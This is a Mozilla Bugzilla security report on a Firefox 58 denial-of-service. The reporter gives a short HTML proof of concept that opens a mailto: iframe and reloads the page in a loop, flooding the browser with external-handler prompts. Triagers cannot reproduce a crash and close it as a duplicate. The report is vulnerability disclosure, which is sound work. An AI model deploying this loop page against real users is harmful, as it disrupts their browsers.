Closed Bug 1435497 Opened 7 years ago Closed 6 years ago

Remote DoS vulnerability tested on Firefox Quantum 58.0.1 (Windows 10 64-bit)

Categories

(Firefox :: Security, defect)

58 Branch
defect
Not set
normal

Tracking

()

RESOLVED DUPLICATE of bug 167475

People

(Reporter: al-ghafri, Unassigned)

References

Details

Attachments

(1 file)

Attached file DoS_ff.html (deleted) —
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36

Steps to reproduce:

1-. Open the following link in Firefox, 
Test link:
http://beinsecurity.com/DoS_ff.html

2- Infinite loop trying to open email client causing a crash in Firfox.

Exploit code:

<html>
<body>
<!-- Remote DoS vulnerability tested on Firefox Quantum 58.0.1 (Windows 10 64-bit) -->
<iframe src="mailto://al-ghafri@hotmail.com"></iframe>
<script>location.href='DoS_ff.html';</script>
</body>
</html>



Actual results:

Infinite loop trying to open email client causing a crash in Firfox.


Expected results:

detecting the mal loop and ask the user to kill the page
Your attachment has a script of "while (true) do { }", so I used the one in your comment, which seems to make more sense.

But I can't reproduce with either of the following settings.
a) open 'mailto:' URLs in Thunderbird
b) open 'mailto:' URLs unassigned (our own prompt)


All I get is lots of prompts.
How long did you let this run, Ahmed?


I've tested Firefox Release (58.0.1).
Component: Untriaged → Security
Flags: sec-bounty?
Tanvi: external app prompt spamming (particularly mailto:) seems like a duplicate of one of the bugs on the eviltraps burn-down list. Do you know which one?
Blocks: eviltraps
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(tanvi)
Not the same external handler, but the same DoS technique.
Group: firefox-core-security
Status: NEW → RESOLVED
Closed: 6 years ago
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: